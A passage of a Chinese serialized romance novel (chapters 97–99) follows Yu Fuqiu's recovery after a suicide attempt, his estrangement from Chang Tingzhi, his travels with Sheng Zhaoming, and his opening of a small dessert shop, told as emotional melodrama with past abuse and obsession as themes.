“这种情况下居然还能挺过来,简直是可以写入论文的程度了。”
“病人意识苏醒了,心率也上来了——”
长庭知坐在椅子上,愣愣地看着医生给余赋秋做检查。
他的样子实在是太过狼狈,还是长春春说了一句话,他说:“爸爸,你也不想妈咪醒来,‘看’到你是这副模样吧。”
他才惊觉。
对,他不能给余赋秋落下不好看的印象。
他,他要干干净净地去见余赋秋。
他刮了胡子,把脸洗的很干净,穿上余赋秋最喜欢的衣服,整个人看起来像是个青春洋溢的大学生,但是眼底下的乌青却是怎么也遮不住。
他紧张地不安地看着镜子中的自己,很久以前,余赋秋曾经靠在他的肩膀上,迷迷糊糊地说:“你穿白衬衫最好看,像大学里面的大学生。”
末了,他又孤寂地笑了笑,“对啊,你本来就是大学生。”
那是多久之前的事情了?
久到他都快忘记了。
可他没有忘。
长庭知对着镜子,把衬衫的扣子一颗一颗地扣好,把领子翻平,把袖口挽起来。
他站在门口,手里捧着余赋秋最喜欢的花。
门虚掩着,里面传来护士和医生低低的交谈声,他深吸一口气,把手里的花握得更紧了些。
阳光从窗户照射进来,照在病床上。
余赋秋醒了。
他靠在升起得床头,脸色依然苍白,吸着氧气,那双眼睛睁着——那双空洞的、看不见东西的眼睛,正对着窗户的方向。
他似乎听到了门开的声音,脸微微侧过来,朝着门口。
长庭知的心脏猛地跳动了一下。
余赋秋眼睫毛低垂着,肌肤近乎是浸水般的瓷白,整个人是一个精致漂亮的手办。
长庭知的脚步下意识地放轻了,手里捧着那束花。
“球球——”
他开口,声音有些抖。
余赋秋的脸对着他的方向,没有表情,只是睁着那双眼睛空洞的望着他。
长庭知又走进了一步。
余赋秋的身体猛地僵硬住了。
他的嘴唇张开,却没有发出任何的声音——
那是一种无声的、从喉咙深处挤出的尖叫,像是被扼住喉咙的困兽。
他的身体颤抖着,整个人往床头缩着,双手在空中胡乱挥舞着,想要推开什么看不见的东西。
“别——别过来。”
余赋秋终于发出了声音,那声音尖锐而破碎,让长庭知面色一僵。
“球球,是我,我——”
他越靠近,余赋秋抖的更厉害。
他失去了视觉,反而是嗅觉越发的敏感。
感知那道气息越发的靠近,余赋秋甚至拔掉了手上的针头,挥舞着拒绝他的靠近,把自己抵在床头。
“昭铭——!”
那个名字像是一把刀,狠狠捅进长庭知的胸口。
“沈昭铭——你在哪里,你在哪里,救救我——”
他喊着另一个男人的名字,在长庭知的面前,喊着另一个男人的名字。
长庭知僵在原地,手中的那束花落在了地上。
像是那一晚落在泥泞里面的白色栀子花。
门被猛地冲开了。
沈昭铭冲了进来——
他快步走到床边,在余赋秋惊恐的尖叫声中,轻轻地、稳稳地,把他抱在怀里。
“在。”
他的声音很低,很稳,像是一块磐石,“我在。”
余赋秋在他的怀里剧烈地颤抖着,双手死死抓住他的衣服,把脸埋进他的胸口。
他的呼吸急促而破碎,整个人缩成一团。
“昭铭……昭铭……”他反复呢喃着那个名字,声音颤抖。
“没事了。”沈昭铭轻轻拍着他的背,声音温柔得像在哄一个受惊的孩子,“没事了,我在这里,没有人会伤害你。”
赋秋的颤抖慢慢地平息下来。
他的呼吸渐渐平稳,攥紧的手指慢慢松开,整个人软在沈昭铭怀里,像是终于找到了可以依靠的港湾。
长庭知站在门口,一动不动。
白色的花瓣,清冽的香气。
是他最喜欢的。
是他亲手捧着,想要送给他的。
可是他连靠近一步,都会让他发出那种无声的尖叫。
沈昭铭抬起头,看了长庭知一眼。
他什么都没说,又低下头,继续轻轻拍着余赋秋的背部。
长庭知看着这一幕,整个人动弹不得。
曾几何时,他也是这么把余赋秋抱在怀里,余赋秋会冲他撒娇,会冲他生气,会冲他发出自己所有的爱意和情绪。
可现在。
这个位置——
已经不是他的了。
第97章 第97章[VIP]
“长先生。”医生面色凝重地将长庭知推了出去, “现在为了病人病情着想,您,还是先出去吧。”
“……”
长庭知无措地摸了摸自己的袖口, 艰涩地滚动着嗓子, 手中的花瓣落在地上,像是凋零的梨花。
他看着蜷缩在沈昭铭怀中的余赋秋,半响才艰难地点了点头, 快步地退出了病房。
“庭知。”
温煦关上了病房,走了出来,“你也看出来了, 赋秋每次面对你的状态不是很好。”
“他这次醒来近乎是个奇迹了, 我们都不知道他怎么可能在这种情况下醒来的。”
其他人不知道。
但是长庭知知道。
是他告诉余赋秋,如果余赋秋醒了, 他就放余赋秋自由。
只要余赋秋活着, 他会给余赋秋一切想要的。
“他的心脏已经坚持不了多久了,最好的办法是做配型心脏,但你也知道,这并不是有钱就可以解决的东西。”
“更何况……赋秋的求生意志不强烈,即便换了心脏, 他没有活下去的念头, 也是白搭。”
“所以……凡事都要做最坏的打算, 在赋秋这最后的时间……我说话直白点,你就不要出现在他的面前了,只会加重他心脏的恶化。”
那飞溅的鲜血, 那几乎变成一条直线的心电图, 还有感知到他气息就蜷缩起来的余赋秋。
长庭知深吸了一口气,苍白着脸, 精心整理的面容依旧乌青,他嘶哑着声音说:“…好。”
他只能像阴暗里的老鼠一样。
不能靠近自己的爱人。
因为他,他的爱人会加速死亡。
……
“不怕,不怕。”沈昭铭拍着余赋秋的肩膀,声音温柔,“我在这里。”
漂亮的青年埋首在他的怀中,在阳光照射下皮肤近乎透明,长而尖翘的睫毛微微颤抖着。
沈昭铭下意识放低了呼吸,生怕下一秒,就会打碎这个漂亮又脆弱的玩偶。
余赋秋在他的抚摸下,缓慢地捋顺了呼吸,他有些喘不上气,心脏的功能受损,心率比普通人低,连反应都慢了半拍。
他这才微微抬眸,经过一段时间的治疗,他的眼睛隐约可以感知到光源了,但依旧很模糊,他眯着眼睛,想要看清眼前人的面容。
但依旧什么也看不见,他只得摸着手,去抚摸沈昭铭的脸。
直到感受那炽热的呼吸,他才惊觉缓过神,“昭……昭铭。”
“嗯。”沈昭铭低低地笑了声,“是我。”
“你知不知道……真的吓死我了。”沈昭铭拉过他的手,放在自己的心口上,“你怎么能把刀刺向你自己……”
“明明……你在奥克兰和阿德莱德都没有过……”
他的语气停顿住了。
余赋秋苍白着面色,摇了摇脑袋:“我一直没和你说,也是我回到了这里,才响起来的,我,我病情复发了。”
他指了指自己的脑袋:“不是身体上的,我,我精神有问题,我一直没敢告诉你,断药时间太久了……”
他不敢告诉沈昭铭。
有谁会愿意和一个精神病患者长期共同生活呢?
沈昭铭心口一酸,轻叹了口气,把余赋秋抱入怀中,“对不起,是我没能力保护好你,让你又回到了那个牢笼。”
他们的关系很微妙。
超越朋友,却又不是恋人。
是余赋秋一直不敢踏前一步,他比沈昭铭大十岁,还有了一个孩子,又是个精神病。
更何况……
他真的很累了。
没有力气和精力再去接受一段全新的感情。
“是因为……”沈昭铭抿着唇,没有敢说出长庭知的名字。
其实在过去两年,他不是没尝试过和余赋秋提及这个名字。
过去两年,长庭知的事业越做越大,甚至在海外都有他的投资,商业杂志,金融节目都有长庭知的身影,即便他们生活在偏僻的小乡村,也会听到长庭知的消息。
沈昭铭提及过,但余赋秋一旦意识到什么,就会捂着耳朵,蹲下身来惊恐的大叫着。
“长庭知?”
余赋秋眨着涣散的眸子,说着这个让他感到精疲力竭的名字,他慢慢地抬起手,喘着气感受自己胸口缓慢地心跳,那里还插着管子,他不能大幅度的挪动。
“是,是因为他。”
余赋秋淡淡地说,如果不是施铜告诉他所谓的真相,他或许会看在长春春上,继续和长庭知纠缠在一起。
可是他得知一切,看见了自己的爸爸妈妈,忽然他不想了。
他觉得好累。
他知道自己的身体情况,已经没办法再耗下去了。
在最后这段时间,他希望自己能做一些快乐的事情。
沈昭铭咬着唇,“我,我们再等等,一定有治疗方法的好不好?”
余赋秋却缓慢地摇了摇头,“无非就是心脏换一颗,或者用人工心脏来代替我心脏的泵血,可是——”
“那会活的很辛苦,我不想一辈子带着管子、带着电池、吃着排异的药物活一辈子。”
“我自己的身体我自己很清楚。”
他也有自己的原因,如果不是因为他贪婪,就不会有后面的故事了,明明他可以放手成全一切,明明长春春可以有更健康的身体,不用去遭受残疾的痛苦。
这一切都是因为他。
“春春,想想春春好不好?”沈昭铭看过那个孩子,融合了余赋秋所有优点的孩子,他乖巧地坐在轮椅上,歪头,对着他笑的场景。
“春春告诉我,他再过不久,可以重新回去读书了,他才九岁,正是上三年级的时候,他,他还说下次家长会,让你去替他开,他会考的很不错,让老师在你面前多夸夸他。”
他接到了长春春的电话,长春春会定期告诉他余赋秋的情况,然后和沈昭铭分享他和余赋秋在未来的期望。
“春春还说……以后要你抱孙子呢,让你儿孙满堂。”沈昭铭笑着说,笑意盈满了眼眶,他起身,把打开的窗子给微微光上,只是拉开了窗帘,任由阳光透过窗户照射下来。
照耀下来暖洋洋的。
“然后呢,他说他读了安徒生童话,已经会讲辛德瑞拉、白雪公主的故事了,虽然他一直问我白雪公主的名字就叫白雪公主吗?”
“这些问题我都不知道,需要你来告诉他。”
他坐在椅子上,握住余赋秋的手。
很冰。
好不容易养起来的肉,又全部瘦了回去。
“春春虽然小,但其实他什么都知道。”沈昭铭轻叹了口气,长春春懂事的简直不像一个九岁的孩子。
“他吃的很好,睡的也很好,长庭知念着他是我们的孩子,不会亏待春春的。”余赋秋轻声道:“更何况,春春会是他唯一的孩子。”
他摸着自己有些显肚子的小腹,这个孩子,来的太不是时候了。
他终究没办法把他带到这个世界上。
“我已经竭尽我所能给春春留下了我可以给他的东西,他会过的很好。”
余赋秋似乎是思考了很久,才慢慢仰起脸,“我再是妈妈之前,是我自己,是余赋秋。”
“所以,不能回去啦。”
他笑着笑着,睁大眼睛想要去追寻光源,但眼眶却逐渐的湿润了,真奇怪,他明明不想哭的。
可是,泪水却是止不住地往下流淌。
“在过去的两年,在新西兰、澳大利亚,我活的很好,那里四季如春,你带我去看遍这个世界,然后呢我被他带了回去。”
“我才知道,我已经是一个被注销身份的人,我是一个没有身份的黑户。”
“我身体很不好,单单是吃药就要花费大价钱,这样的我,春春跟着我,他能有什么好日子?能有什么未来可以看?”
“难道要出去告诉别人他的母亲是个精神病,然后因为我,他双腿残疾吗?”
余赋秋摇了摇头:“不一样的,昭铭,你自小就很幸福,你没有经历过那种没钱、只能寄宿在地下室,甚至去捡别人不要的饭菜才能勉强填饱肚子的日子。”
“钱真的太重要了,长庭知可以给他一切,也可以给我一切,剥夺我一切。”
“可是我很笨啊,我没有学历,没有技术,只能去做最底层的体力活去挣钱,我好不容易自己的事业有了一点点的起色,只要他一句话,瞬间化为泡沫。”
“我不能再这么自不量力了,这样的经历,有一次就够了。”
“更何况,我的时间已经不多了。”他的手放在自己的心脏入口,又摸了摸自己的脸:“我现在是个瞎子,一条腿还瘸着,这个样子,太丑了。”
“我不想春春最后看见的妈咪,是这个样子的。”
“所以呢,还是算了吧。”
“我真的很累了。:”
“我想要在最后这一段时间,给我自己一点喘息的空间。”
给这段摧残的人生,画上一个句号吧。
“……”
沈昭铭张了张口,但所有的话都堵在了喉咙。
他说不出一句话。
过去两年的相处,他怎么可能不知道余赋秋的性格呢?
一旦决定好的事情,不会再改了。
余赋秋看着人很温柔,骨子里也很温柔,但是在自己决定好的事情上,却没有任何回旋的余地。
“那你想……过什么样子的生活呢?”
他滚动着嗓子,半响才挤出了这句话。
“过什么样子的生活……”
余赋秋呢喃着,想起了小学时代,老师在黑板上写了一个问题“你长大想要成为怎样的人?”
他想要过上能吃饱穿暖,可以住不漏雨漏风的房子。
老师告诉他,这个叫普通人。
所以他在黑板上写下了“我想成为一个普通人,平凡的过完一生。”
余赋秋的眼里照射着阳光。
他说:“我想过……平凡的生活。”
第98章 第98章[VIP]
“你真的甘愿吗?”
左成双被放了出来, 他活动着手腕,站在书房办公桌的面前,冷淡地看着长庭知。
自从余赋秋醒来和得到了温煦的警告后, 长庭知都只是在夜深人静的时候, 才敢小心翼翼地打开病房,借着月光看着那张他深爱的脸庞。
仿佛只能这样,才能扼住他满腔的痛苦和爱意。
他又回到了以前, 用全部的工作来麻痹自己,但这次不同的是,他不用再从噩梦中惊醒, 因为他每天还可以看见余赋秋, 哪怕只有一秒。
可是,就在某一天, 他像往常那般去医院看余赋秋, 但打开房门的时候,只有一张空荡荡的床铺。
他疯了一样去质问护士,护士说;“那间病房的病人,在早上就和他的爱人走了。”
“他的爱人?”
长庭知拉着护士的衣袖的手一僵,“他的爱人……”
护士怪异地看着长庭知, 看出了他眼底的乌青, 她心想这个神经病也真是辛苦。
她把签字单拿了出来, 上面用娟秀的字体写着【沈昭铭】三个字。
这三个字打破了这段时间,长庭知自己给自己所缠绕的所有幻想。
余赋秋是真的……
不要他了。
“不是我甘愿不甘愿的问题。”
长庭知眼眸微微下垂,新长的胡茬还没清理干净, 刺刺的。
“是我……真的不知道要怎么办了。”
“我本以为, 只要让他恢复全部和我相爱的记忆,我们就会回到从前, 他只是暂时地忘记了一切,只是不在我的身边,只要我在他的身边,那么一切都会终归正轨。”
“我找了他两年,我把他带了回来,我还把春春也带了回来,就当一切都变好的时候,他要在我和沈昭铭二选一,我清醒的时候,看着他向我走来,你知道我那一刻在想什么吗?”
左成双的动作一顿,看着长庭知伸出指尖,抚摸着桌上摆放着余赋秋照片的相框,照片里的青年眉目弯弯,漂亮的不似人间物。
“我在想,神终于又一次眷顾了我,我的念想终于得到了回应。”
“可是他却在我的面前自杀了。”
长庭知的笑容哀伤,眸光看着青年笑意盈盈的脸庞,他已经多久,没有看到这个笑容了呢?
他不知道。
心头的苦涩从喉头蔓延开来,在唇齿间弥漫,他甚至可以尝到轻微的铁锈味道。
“我的脑子里只剩下一个想法,只要他活着,只要他活着,我甘愿……给他一切。”
“在两年前的那场火灾,他给我说的最后一句是我们好聚好散,在他眼睛瞎了,都不惜要逃离,甚至差点被河淹死的时候,他和我说也是让我放他走。”
“甚至……在他自杀前,看着我的眼睛,也告诉我……”
“他要走,他要自由。”
“他说他不要我了,他后悔救我了。”
“我能怎么办,我该怎么办?!”
长庭知将手中的文件扔落一地,眼睛赤红,红血丝如同蜘蛛网密密麻麻地爬满了眼球,“我以为春春可以绑住他,可以让他留在我的身边。”
“可是,他连生命都不要了,更何况我们的孩子呢,更何况我呢?!”
“你都是自作自受。”左成双冷眼看着满地的文件,缓缓吐出一口浊气:“我那时候在下药注射的时候我就和你说过了,你还强制让他怀孕,只会加重他心脏的负担,现在心脏恶化成这样了,连基本的手术条件都不满足。”
余赋秋肚子里的孩子像是一个寄生虫,汲取余赋秋身上所剩无几的营养,但他的身体情况已经不允许他再做手术了。
这个孩子,只能跟着他一块慢慢地死去。
怎么会变成这样,明明这么相爱的一对爱人。
“所以,放手吧,对你,对他,都好。”
……
长春春的生活进入了正轨。
午后的阳光懒洋洋地斜进教室,在木质的课桌上切出一块块金黄色的光斑。
长春春坐在靠窗的位置,握着铅笔,一笔一划地在本子上写着什么。
字写得有些歪,但他很认真。
每写完一行,就会停下来,用橡皮把不够好看的字擦掉,重新写一遍。橡皮屑落在桌上,小小的,像冬天的雪花。
教室里很安静。
长春春写完最后一行字,放下铅笔,抬起头。
窗外的树叶在动。
那是一种很轻很轻的晃动,像无数只绿色的小手在风中慢慢摇摆。阳光穿过叶子的缝隙,碎成一小片一小片的金箔,落在窗台上,落在他的本子上,落在他的脸上。
有一片光刚好落在他的手背上,暖洋洋的,像被什么轻轻握住。
他看着窗外的那棵树。
那是棵梧桐树,叶子大大的,一片叠着一片,在风里发出沙沙的响声。
那声音很轻,很好听,像有人在很远的地方说着悄悄话。
这是妈咪离开他的第五个月。
他想到妈咪现在应该到了瑞士的阿尔卑斯地区吧。
他在这半年,忽然成长为一个小大人了,开始重新去接纳这个世界,他开始重新上学,重新和人接触,重新开启自己的人生。
他很少再拉着长庭知的衣袖撒娇,也不再晚上的时候要缠着长庭知去给他讲故事,他现在晚上也不再打开那盏小夜灯,连最喜欢的灰色小熊都被他整理好,放在衣柜的最深处。
他虽然才十岁,但他已经要求爸爸给他安排更多不属于他这个年纪的课程。
仿佛只有这样,他才能快速成长,成为保护妈咪的那个男子汉。
这半年,妈咪和沈叔叔去全世界旅游。
然后在他们旅游的地方。
长春春会看到爸爸的ip也跳到了那里。
他知道,爸爸始终还是没放下妈咪。
……
半年来,长庭知养成了一种病态的习惯。
每天凌晨三点,当整座城市都沉入最深的睡眠,他会准时醒来。
然后他会走到书房,打开那台电脑——
屏幕上,是一个加密的文件夹。
文件夹的名字只有一个字:他
他点开它。
里面整整齐齐地排列着上千张照片,几十个视频。每一张照片,每一个视频,都来自同一个来源——余赋秋的社交媒体。
那个账号是公开的。
沈昭铭帮他注册的,沈昭铭教他用的,沈昭铭陪他一起发第一条动态的。
第一条动态很简单,只有一句话:“开始新的旅程。”
配图是两个人的影子,在海滩上拉得很长很长,阳光从身后照过来,把轮廓镀上一层金边。
长庭知盯着那张照片看了很久。
他认出那个影子——左边那个,微微侧着身,好像在跟旁边的人说话。
那个姿势他太熟悉了,熟悉到闭着眼睛都能描摹出来。
那是余赋秋。
是那个会在他靠近时尖叫着躲开的余赋秋。
是那个会缩在别人怀里才安心的余赋秋。
也是这个——会在阳光下拉出长长影子、会对着镜头微微侧身的、正在开始新旅程的余赋秋。
他的手悬在鼠标上,很久没有动。
然后他点开了第二张。
照片里,余赋秋坐在洱海边的一家咖啡馆门口。
阳光很好,照得他整个人都亮堂堂的。
他穿着浅蓝色的衬衫,头发比在医院时长了一点,软软地垂在额前。
他微微仰着脸,眼睛闭着,像是在感受阳光的温度。
嘴角有一个很浅很浅的弧度。
配文只有两个字:真好。
长庭知看着那张照片,看着那个笑,一动不动。
他的手指伸出去,隔着屏幕,想要碰一碰那个嘴角。
可是碰到的只有冰凉的玻璃。
他收回手,继续往下翻。
照片里,余赋秋裹着厚厚的羽绒服,站在布达拉宫前面。
他的脸被高原的阳光晒得有点红,鼻尖也是红的,但眼睛特别亮。
那双空洞的、失明的眼睛——
长庭知愣了一下。
不对。
那双眼睛——好像在看着镜头?
他放大了照片,仔细看。余赋秋的眼睛微微眯着,瞳孔的方向——确实是朝着镜头的方向
他往下看配文。
配文是沈昭铭写的:“今天复查,医生说恢复得比预期好很多,虽然还看不清楚,但已经有光感了,赋秋特别高兴,非要来布达拉宫前面拍照,说要记录下来。”
长庭知的手指微微颤抖。
光感。
他已经有光感了。
他……他在好起来。
不是因为自己。
是因为沈昭铭。
因为沈昭铭带他去看最好的医生,因为沈昭铭陪他做康复,因为沈昭铭让他安心、让他放松、让他可以好好地活下去。
长庭知把脸埋进手掌里。
他没有哭。
只是很久很久,没有抬起头。
下一张。
照片里,余赋秋站在一片冰雪世界里。
他穿着厚厚的羽绒服,围着大围巾,只露出一张脸。
脸被冻得红扑扑的,鼻尖上还沾着一点雪花。
他的身边站着沈昭铭,一只手揽着他的肩膀,另一只手高高举着自拍杆。
两个人都笑得很开心,背景是一片白茫茫的雪地和绚烂的极光。
配文:追光成功!感谢昭铭蹲了三天,终于蹲到了!
长庭知近乎病态地看着余赋秋的脸,很久很久。
再打开一个文件夹。
视频。
长庭知犹豫了一下,还是点开了。
画面里是一条长长的石板路,两边是古老的日式建筑,偶尔有穿着和服的游客走过。
镜头晃了晃,然后对准了走在前面的一个人影。
余赋秋。
他穿着一件深灰色的风衣,走得很慢。
风吹过来,扬起他的衣角和头发。
他停下来,微微侧过头,像是在听什么。
“赋秋。”画面外传来沈昭铭的声音,带着笑意,“回头看镜头。”
余赋秋转过头,对着镜头的方向。
那双眼睛——
长庭知屏住呼吸。
那双眼睛,正对着镜头的方向。
虽然还有些涣散,但已经能看出来,他在努力地看。
“昭铭?”他轻轻叫了一声,声音被风吹得有点散,“你在拍我吗?”
“嗯,在拍。”沈昭铭说,“好看。继续走。”
余赋秋嘴角弯了弯,继续往前走。
走了两步,又停下来,回头说:“你别老拍我,拍风景。”
“你就是最好的风景。”沈昭铭说。
余赋秋愣了一下,然后——然后他的耳朵红了。
他低下头,继续往前走,但嘴角那个弧度,怎么压都压不下去。
长庭知看着那个红了的耳朵,看着那个压不下去的嘴角,心脏像是被什么东西一点一点碾碎。
在他面前,余赋秋永远是小心的、谨慎的、怕做错什么的。
偶尔有笑,也总是淡淡的,不敢太张扬。
可是在这个视频里——
他会害羞,会脸红,会听见情话就低头偷笑。
他像一个普通人一样,被爱着,被宠着,被小心翼翼地对待着。
而那个给他这些的人,不是他。
第五站、第六站、第七站……
长庭知一张一张翻下去。
巴黎的塞纳河畔,余赋秋靠在栏杆上,阳光落在他的侧脸上。
威尼斯的贡多拉上,余赋秋坐在船头,手伸进水里划着玩,笑得像个孩子。
希腊的圣托里尼,余赋秋站在蓝白相间的房子前面,背后是无边无际的爱琴海。
他穿着白色的亚麻衬衫,风吹起他的头发,整个人像是从画里走出来的。
非洲的大草原上,余赋秋坐在越野车里,裹着毯子,看着远处迁徙的角马。
他的眼睛亮亮的,里面倒映着那片辽阔的土地。
每一张照片里,他都在笑。
浅浅的笑,深深的笑,看着镜头的笑,看着别处的笑,被阳光晒出来的笑,被风吹出来的笑。
每一张照片里,他都在好起来。
气色好了,脸上有肉了,眼睛里有光了。
每一张照片里,都有另一个人。
有时是沈昭铭揽着他的肩膀,有时是沈昭铭在他身后,有时只是两只交握的手,有时只是两个依偎的影子。
长庭知翻着翻着,手开始发抖。
不是愤怒。
是——
是一种他说不清的东西。
像是羡慕,像是嫉妒,像是后悔,像是——
像是终于明白,有些东西,真的回不来了。
他靠在椅背上,看着屏幕上一张一张闪过的照片,看着那个越来越鲜活、越来越像“余赋秋”的余赋秋,眼眶慢慢红了。
凌晨四点。
凌晨五点。
天快亮了。
他还在翻。
翻到最新的一张。
那是昨天发的。
照片里,余赋秋坐在一片花海里。
不知道是什么花,紫的、白的、粉的,铺天盖地。
他坐在花丛中间,手里捏着一朵小花,放在鼻子前面闻。
他的眼睛半眯着,嘴角弯弯的,阳光把他的轮廓照得柔柔的。
配文只有一句话:原来活着,可以这么好。
长庭知盯着那行字,盯了很久很久。
原来活着,可以这么好。
这句话像一把刀,准确地、狠狠地插进他心口最软的那个地方。
在他身边的时候,余赋秋只想死。
在另一个人身边,余赋秋说,活着可以这么好。
他把脸埋进手掌里。
肩膀开始抖。
没有声音。
只有抖。
过了很久很久,他抬起头,看着屏幕上那张笑脸。
他伸出手,隔着屏幕,轻轻地、轻轻地,摸了摸那个嘴角。
“那就好。”他说。
声音沙哑得几乎听不见。
“那就好。”
窗外,天亮了。
……
长庭知每晚都要看余赋秋发在社交平台上的照片,然后他会确定他离开后,自己飞过去,走一遍余赋秋走的路,去感知着余赋秋的所感知过的一切。
似乎只有这样。
他才能确定,余赋秋在自己的身边。
但是这次,他真的忍不住了。
酒店的房间在十七楼。
长庭知站在对面的楼里,隔着一条街的距离,透过那扇半开的落地窗,看见余赋秋坐在窗边的沙发上。
距离太远了,他看不清他的表情。
但他看见他穿着那件米白色的毛衣——是他衣柜里从来没有见过的,大概是沈昭铭给他买的。
他看见他的头发比之前长了一点,柔软地垂在额前。
他看见他微微侧着头,像是在听什么人说话。
然后沈昭铭走进了他的视线。
沈昭铭端着一杯什么东西,走到余赋秋身边,弯下腰,把那杯东西递给他。
余赋秋接过去,低头喝了一口,然后抬起头,对着沈昭铭的方向——
他在笑。
即使隔得这么远,长庭知也能感觉到他在笑。
沈昭铭在他旁边坐下来,伸出手,轻轻拂了拂他额前的头发。
那个动作那么自然,那么熟练,像是做过无数次。
余赋秋没有躲。
长庭知的指甲深深陷进掌心。
他看见那两个影子挨得很近,有时交叠在一起,有时分开,有时其中一个站起来,走开,又走回来。
他看见余赋秋的影子靠进沙发里,那是个很放松的姿势。
他看见沈昭铭的影子微微前倾,像是在和他说着什么。
他什么都听不见。
但他看见了余赋秋抬起手,碰了碰沈昭铭的脸。
那个动作很轻,很快,像一片落叶。可长庭知看见了。
他的眼眶倏地红了。
他想起很久以前,很久很久以前,余赋秋也这样碰过他的脸。
在那些挤在出租屋里的夜晚,在他们还什么都没有、却什么都有的日子里。
那时候余赋秋碰他的脸,眼睛里全是光。
现在那些光,给了另一个人。
夜里起了风。
他看着那盏灯熄灭了。
这才敢从楼里下来,坐着电梯,来到了余赋秋酒店房间门口。
他就这么静静地站在门口。
他伸出手,悬在门上,距离那冰冷的门把手只有一寸。
没有落下去。
就这样悬着,一动不动。
不知道过了多久。
风从走廊尽头的窗户灌进来,吹得他的衬衫作响。
他的手指已经开始发僵,可他还是没有落下去。
然后他听见了门里的声音。
很轻,很模糊,隔着门板几乎听不清。
但他还是听见了——是沈昭铭的声音。
“他这半年一直在接受非人一样的治疗……只是想要让另一个人格出来……”
长庭知的手猛地一颤。
他眼皮一跳。
这半年他的确和疯了一样,到处去世界寻找可以把已经消除人格重新找回来的方法。
他想,是不是这样,他就可以不用受这种折磨了?
是不是另一个长庭知出来了,余赋秋就会原谅他,就会重新回到他身边了?
他开始和以前的余赋秋一样,接受大剂量的药物治疗。
因为药物的副作用,他的大脑很长一段时间都处于浑浑噩噩的状态,恍惚之间,他看到了余赋秋,想要伸手去触碰余赋秋。
但最后却只能徒劳的抓住一片虚无。
但在此刻,他的心脏猛跳。
他想要知道余赋秋是怎么说的。
期待他的回来吗?
还是——
他屏住呼吸,把耳朵贴近门板。
沉默。
很长的沉默。
长到他以为里面的人不会再说话。
很轻,很平静,像在说一件与自己无关的事:
“无所谓了。”
长庭知的心像是被什么东西狠狠攥住。
“我们,早就结束了。”
“他最后怎么样,也已经与我无关了。”
那声音那么轻,那么淡,淡得像一缕烟,像一阵风,像他从来没有在他生命里存在过。
长庭知的手缓缓垂下来,手臂上还残留着密密麻麻的针孔,嘴里还残留着他前不久才吞下去的药物的苦涩感。
他靠在门边的墙上,慢慢滑坐下去,坐在地上,坐在那条暗红色的走廊地毯上。
他没有哭。
只是靠着墙,仰着头,看着天花板上那盏昏暗的廊灯。
灯光晃得他眼睛发酸,但他没有眨眼。
他想起十七年前那条巷子,那个朝他伸出手的少年。
他想起那些挤在出租屋里取暖的冬夜,余赋秋把唯一的被子裹在他身上。
他想起春春出生那天,余赋秋抱着那个皱巴巴的小婴儿,眼睛亮得像落了星星。
他想起那些他亲手毁掉的日子,那些冷漠以对的夜晚,那些在玄关等到天亮的孤独身影。
他想起那把刺进心口的刀,那声惊恐的尖叫,那个缩在别人怀里才安心的颤抖。
他想起这半年来,他像一只见不得光的老鼠,躲在屏幕后面,看着余赋秋一点一点好起来,一点一点笑起来,一点一点变成他从未见过的模样。
那些笑,都不是给他的。
那些好起来,都不是因为他。
他拼了命想要挽回的人,在他看不见的地方,被别人好好地爱着,好好地活着。
而他,只是一个站在门外、连敲门都不敢的——
陌生人。
作者有话说:
应该还有几章就完结了,我加快速度,这太长了()
第99章 第99章[VIP]
半年的时间很长, 却也很短暂。
“赋秋,我……”
在登上飞回Z国的飞机的时候,沈昭铭抓住余赋秋的手腕, 眼眸微动, 他们这半年走遍了欧洲、中东、南美洲、非洲,只差世界最两端的地方还没有去。
就在沈昭铭满怀心情的去制定下一个计划的时候,余赋秋却说:“足够了, 这就足够了,昭铭。”
他抓着余赋秋的手腕,眼中的一汪深情似乎要将余赋秋沉溺其中。
这半年, 他们仿佛很多亲密的情侣一般, 记录下对方在彼此生命中的痕迹。
就在那句话即将脱口而出的时候,余赋秋却回过了头, 细长的指尖抵在沈昭铭的唇口。
他扬起一抹微笑:“谢谢你, 昭铭。”
“你永远是我最好的朋友。”
沈昭铭嘴唇蠕动着,慢慢放开抓着余赋秋的手腕,如同往常一样回应道:“嗯,一路顺风。”
“我们终究会再相见的。”
……
阳光从玻璃门里照进来,在地板上切出一道道金色的光带。
余赋秋站在收银台后面, 低着头, 慢慢地、仔细地擦拭着台面。
他的动作很慢, 因为眼睛还没完全好——医生说还要再恢复一段时间,但已经能看到模糊的轮廓和光影了。
足够了。
他抬起头,透过那扇玻璃门, 看向外面的街道。
那是小镇唯一的主街, 不宽,两边是老旧的房子和几棵很有些年头的梧桐树。叶子已经落得差不多了, 剩下几片枯黄的挂在枝头,在风里轻轻摇晃。
他想起很久以前,有人跟他说过,这条街到了秋天特别好看,满地的梧桐叶,踩上去沙沙响。
那时候他还不懂什么叫“家”。
现在他懂了。
这家店很小,只有二十几平米,摆着几张木头桌椅,墙上挂着些手写的菜单和旧照片。
卖的是最简单的吃食——甜点。
店名是他想了很久才定下来的,就叫“巷口”。
他回到了捡到长庭知的地方。
这个是所有开始的地方。
这个小城镇不大,没有地铁、交通都是免费的,最晚是七点,位于甘肃陇南下面的一个贫困县。
这个小城镇景区可以爬山,自然风光也很好,但是也没有改变这个小城镇节奏的慢生活。
大多是以老年人居多,年轻人都出去打工了,也就是过年这段时期,这个小城镇会热闹一些。
长庭知是被他在巷口捡到的。
所以他取名叫巷口。
余赋秋低下头,眯着眼,慢慢地擦拭着台面。
这间店和长庭知在京州送给他的店铺几乎一模一样,只是那家店大了些,这家店小了点,他在门口也装了一小路的青石,在门上挂了一串小风铃。
他自己所带的钱没有那么多,能盘下这家店,所剩下的已经不多了,长庭知给他的钱,他全都拿去捐款了。
所以门口的青石小路还有些凹凸不平,但却是他自己一个一个精挑细选出来的。
在店的墙上挂着他旅行拍摄下来有趣的照片,在另一头的橱柜里面,还有他在世界各地带来的纪念品。
他擦着擦着,手停了。
他想起很久以前,长庭知站在那家小店的面前。
那时候他们还年轻,还什么都没有,挤在出租屋里吃泡面。
有一天长庭知兴冲冲地跑回来,手里拿着一张皱巴巴的图纸,摊开来给他看。
“球球,你看!这是我画的!以后我们开一家这样的店,卖你最喜欢吃的小蛋糕。店面不用太大,够我们俩忙活就行。门口要种一棵树,让客人在树荫底下吃。还要养一只猫,懒洋洋的那种,天天趴在门口晒太阳……”
他记得自己当时笑得不行,说你连饭都不会做,还开甜品店?
那个人理直气壮地说,你来做,我来收钱。
咱俩分工明确。
那家店,后来当然没有开成。
那些年,那些人,那些话,都像风一样散了。
可他还是开了。
用长庭知给他画的歪歪曲曲的图纸、用他们相遇的初遇、用他们第一次求婚的青石——
算了。
余赋秋摇了摇头,不再想。
